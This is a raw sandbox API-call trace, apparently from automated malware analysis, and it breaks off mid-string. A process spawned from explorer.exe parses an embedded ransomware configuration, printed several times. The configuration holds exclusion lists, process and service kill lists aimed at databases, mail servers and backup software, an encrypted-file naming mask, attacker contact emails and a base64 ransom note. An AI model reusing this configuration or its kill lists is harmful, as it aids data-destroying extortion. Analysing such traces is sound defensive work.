os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xd80" cmd_line = "\"C:\\WINDOWS\\system32\\explorer.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000124b1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1461 os_tid = 0xd98 [0152.222] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x200) returned 0x2f72198 [0152.292] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6) returned 0x2f768c8 [0152.293] RtlInitAnsiString (in: DestinationString=0x2c3f848, SourceString="NTDLL" | out: DestinationString="NTDLL") [0152.293] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3f850, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0152.293] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x2f726b8 [0152.293] RtlFreeAnsiString (AnsiString="N") [0152.293] RtlInitUnicodeString (in: DestinationString=0x2c3f854, SourceString="NTDLL" | out: DestinationString="NTDLL") [0152.293] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2c3f860 | out: BaseAddress=0x2c3f860*=0x775b0000) returned 0x0 [0152.294] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f726b8) returned 1 [0152.295] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f768c8) returned 1 [0152.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6) returned 0x2f768c8 [0152.295] RtlInitAnsiString (in: DestinationString=0x2c3f848, SourceString="NTDLL" | out: DestinationString="NTDLL") [0152.295] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3f850, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0152.295] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x2f72478 [0152.295] RtlFreeAnsiString (AnsiString="N") [0152.295] RtlInitUnicodeString (in: DestinationString=0x2c3f854, SourceString="NTDLL" | out: DestinationString="NTDLL") [0152.295] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2c3f860 | out: BaseAddress=0x2c3f860*=0x775b0000) returned 0x0 [0152.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f72478) returned 1 [0152.296] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f768c8) returned 1 [0152.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6) returned 0x2f768c8 [0152.297] RtlInitAnsiString (in: DestinationString=0x2c3f848, SourceString="NTDLL" | out: DestinationString="NTDLL") [0152.297] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3f850, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0152.297] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x2f724f0 [0152.297] RtlFreeAnsiString (AnsiString="N") [0152.297] RtlInitUnicodeString (in: DestinationString=0x2c3f854, SourceString="NTDLL" | out: DestinationString="NTDLL") [0152.297] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2c3f860 | out: BaseAddress=0x2c3f860*=0x775b0000) returned 0x0 [0152.297] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f724f0) returned 1 [0152.298] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f768c8) returned 1 [0152.299] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x6) returned 0x2f768c8 [0152.299] RtlInitAnsiString (in: DestinationString=0x2c3f848, SourceString="NTDLL" | out: DestinationString="NTDLL") [0152.299] RtlAnsiStringToUnicodeString (in: DestinationString=0x2c3f850, SourceString="NTDLL", AllocateDestinationString=1 | out: DestinationString="NTDLL") returned 0x0 [0152.299] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc) returned 0x2f72400 [0152.299] RtlFreeAnsiString (AnsiString="N") [0152.299] RtlInitUnicodeString (in: DestinationString=0x2c3f854, SourceString="NTDLL" | out: DestinationString="NTDLL") [0152.300] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="NTDLL", BaseAddress=0x2c3f860 | out: BaseAddress=0x2c3f860*=0x775b0000) returned 0x0 [0152.300] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f72400) returned 1 [0152.300] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f768c8) returned 1 [0152.308] RtlInitUnicodeString (in: DestinationString=0x2c3f8c0, SourceString="mpr.dll" | out: DestinationString="mpr.dll") [0152.308] LdrLoadDll (in: SearchPath=0x0, LoadFlags=0x0, Name="mpr.dll", BaseAddress=0x2c3f8cc | out: BaseAddress=0x2c3f8cc*=0x73580000) returned 0x0 [0152.998] FindResourceA (hModule=0x2c40000, lpName=0x7a69, lpType=0x539) returned 0x2c55048 [0152.998] LoadResource (hModule=0x2c40000, hResInfo=0x2c55048) returned 0x2c55058 [0152.998] LockResource (hResData=0x2c55058) returned 0x2c55058 [0152.998] SizeofResource (hModule=0x2c40000, hResInfo=0x2c55048) returned 0xd8a [0152.998] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8a) returned 0x2f7e790 [0152.998] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5) returned 0x2f768c8 [0153.003] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f69c28 [0153.003] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x100) returned 0x2f689d0 [0153.003] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f689d0) returned 1 [0153.003] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f69c28) returned 1 [0153.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77330 [0153.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768d8 [0153.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77290 [0153.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4) returned 0x2f768f8 [0153.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f77230 [0153.004] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f768f8, Size=0x8) returned 0x2f76908 [0153.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f772d0 [0153.004] strtol (in: _Str="0,\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2c3f874, _Radix=0 | out: _EndPtr=0x2c3f874*=",\"spsz\":16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ") returned 0 [0153.004] RtlReAllocateHeap (Heap=0x2f60000, Flags=0x8, Ptr=0x2f76908, Size=0xc) returned 0x2f72598 [0153.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x18) returned 0x2f772f0 [0153.004] strtol (in: _Str="16534,\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciBkZWFscywgZXhjZXB0IGdldHRpbmcNCmJlbmVmaXRzLiBJZiB3ZSBkbyBub3QgZG8gb3VyIHdvcmsgYW5kIGxpYWJpbGl0aWVzIC0gbm9ib2R5IHdpbGwgbm90IGNvb3BlcmF0ZSB3aXRoIHVzLg0KSXRzIG5vdCBpbiBvdXIgaW50ZXJlc3RzLg0KVG8gY2hlY2sgdGhlIGFiaWxpdHkgb2YgcmV0dXJuaW5nIGZpbGVzLCB5b3Ugc2hvdWxkIHdyaXRlIHRvIHVzIGJ5IGVtYWlsLiANClRoZXJlIHlvdSBjYW4gZGVjcnlwdCBvbmUgZmlsZSBmb3IgZnJlZS4gVGhhdCBpcyBvdXIgZ3VhcmFudGVlLg0KDQotLS0NCkhvdyB0byBjb250YWN0IHdpdGggdXMgPw0KLS0tDQoNCkVtYWlsIHVzOg0KMS57bWFpbDF9DQoyLnttYWlsMn0NCg0KQmUgc3VyZSB0byBpbmNsdWRlIHlvdXIgcGVyc29uYWwgY29kZSBpbiB0aGUgbGV0dGVyOg0Ke2tleV97aWR9Ontjb2RlfX0NCg0KDQoNCg0KDQo=\",} ", _EndPtr=0x2c3f874, _Radix=0 | out: _EndPtr=0x2c3f874*=",\"namesz\":10,\"idsz\":6, \"white\":{\"dir\":[\"system volume information\",\"windows.old\",\"msocache\",\"winnt\",\"$windows.~ws\",\"perflogs\",\"boot\",\"windows\",\"appdata\",\"intel\",\"application data\",\"programdata\",\"$recycle.bin\",\"program files\",\"google\",\"$windows.~bt\",\"program files (x86)\"], \"file\":[\"ntuser.dat.log\",\"iconcache.db\",\"ntuser.ini\",\"boot.ini\",\"bootmgr\",\"bootnxt\",\"desktop.ini\",\"ntuser.dat\",\"autorun.inf\",\"ntldr\",\"thumbs.db\",\"bootsect.bak\",\"bootfont.bin\"],\"ext\":[\"msp\",\"bin\",\"sys\",\"msc\",\"mod\",\"theme\",\"hta\",\"shs\",\"nomedia\",\"diagpkg\",\"cab\",\"ics\",\"msstyles\",\"cur\",\"drv\",\"icns\",\"diagcfg\",\"dll\",\"ocx\",\"lnk\",\"ico\",\"idx\",\"ps1\",\"mpa\",\"cpl\",\"icl\",\"msu\",\"msi\",\"nls\",\"scr\",\"adv\",\"386\",\"com\",\"hlp\",\"rom\",\"lock\",\"386\",\"wpx\",\"ani\",\"prf\",\"rtp\",\"ldf\",\"key\",\"diagcab\",\"cmd\",\"spl\",\"deskthemepack\",\"bat\",\"themepack\"], },\"prc\":[\"nslsvice.exe\",\"pg*\",\"nservice.exe\",\"cbvscserv*\",\"ntrtscan.exe\",\"cbservi*\",\"hMailServer*\",\"IBM*\",\"bes10*\",\"black*\",\"apach*\",\"bd2*\",\"db*\",\"ba*\",\"be*\",\"QB*\",\"oracle*\",\"wbengine*\",\"vee*\",\"postg*\",\"sage*\",\"sap*\",\"b1*\",\"fdlaunch*\",\"msmdsrv*\",\"report*\",\"msdtssr*\",\"coldfus*\",\"cfdot*\",\"swag*\",\"swstrtr*\",\"jetty.exe\",\"wrsa.exe\",\"team*\",\"agent*\",\"store.exe\",\"sql*\",\"sqbcoreservice.exe\",\"thunderbird.exe\",\"ocssd.exe\",\"encsvc.exe\",\"excel.exe\",\"synctime.exe\",\"mspub.exe\",\"ocautoupds.exe\",\"thebat.exe\",\"dbeng50.exe\",\"*sql*\",\"mydesktopservice.exe\",\"onenote.exe\",\"outlook.exe\",\"powerpnt.exe\",\"msaccess.exe\",\"tbirdconfig.exe\",\"wordpad.exe\",\"ocomm.exe\",\"dbsnmp.exe\",\"thebat64.exe\",\"winword.exe\",\"oracle.exe\",\"xfssvccon.exe\",\"firefoxconfig.exe\",\"visio.exe\",\"mydesktopqos.exe\",\"infopath.exe\",\"agntsvc.exe\"],\"svc\":[\"Lotus*\",\"cbvscserv*\",\"hMailServer\",\"backup*\",\"*backup*\",\"apach*\",\"firebird*\",\"ibmiasrw\",\"IBM Domino*\",\"Simply Accounting Database Connection Manager\",\"IASJet\",\"QB*\",\"*sql*\",\"sql*\",\"QuickBooksDB*\",\"IISADMIN\",\"omsad\",\"dc*32\",\"server Administrator\",\"wbengine\",\"mr2kserv\",\"MSExchange*\",\"ShadowProtectSvc\",\"SP*4\",\"teamviewer\",\"MMS\",\"AcronisAgent\",\"ARSM\",\"AcrSch2Svc\",\"vsnapvss\",\"SPXService\",\"StorageCraft ImageManager\",\"wrsvc\",\"stc_endpt_svc\",\"acrsch2svc\"], \"svcwait\":0,\"crmask\":\".mailto[{mail1}].{id}\",\"lfile\":\"{ID}-Readme.txt\",\"mail\":[\"kokoklock@cock.li\",\"pabpabtab@tuta.io\"],\"lend\":\"KysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysNCi0tLQ0KV2hhdCBoYXBwZW4gPw0KLS0tDQoNCllvdXIgZmlsZXMgYXJlIGVuY3J5cHRlZCwgYW5kIGN1cnJlbnRseSB1bmF2YWlsYWJsZS4NCllvdSBjYW4gY2hlY2sgaXQ6IGFsbCBmaWxlcyBvbiB5b3VyIGNvbXB1dGVyIGhhcyBleHBhbnNpb24ge2lkfS4NCkJ5IHRoZSB3YXksIGV2ZXJ5dGhpbmcgaXMgcG9zc2libGUgdG8gcmVjb3ZlciwgYnV0IHlvdSBuZWVkIHRvIGZvbGxvdyBvdXIgaW5zdHJ1Y3Rpb25zLg0KT3RoZXJ3aXNlLCB5b3UgY2FudCByZXR1cm4geW91ciBkYXRhLg0KDQotLS0NCldoYXQgZ3VhcmFudGVlcz8NCi0tLQ0KDQpJdHMganVzdCBhIGJ1c2luZXNzLiBXZSBhYnNvbHV0ZWx5IGRvIG5vdCBjYXJlIGFib3V0IHlvdSBhbmQgeW91ciB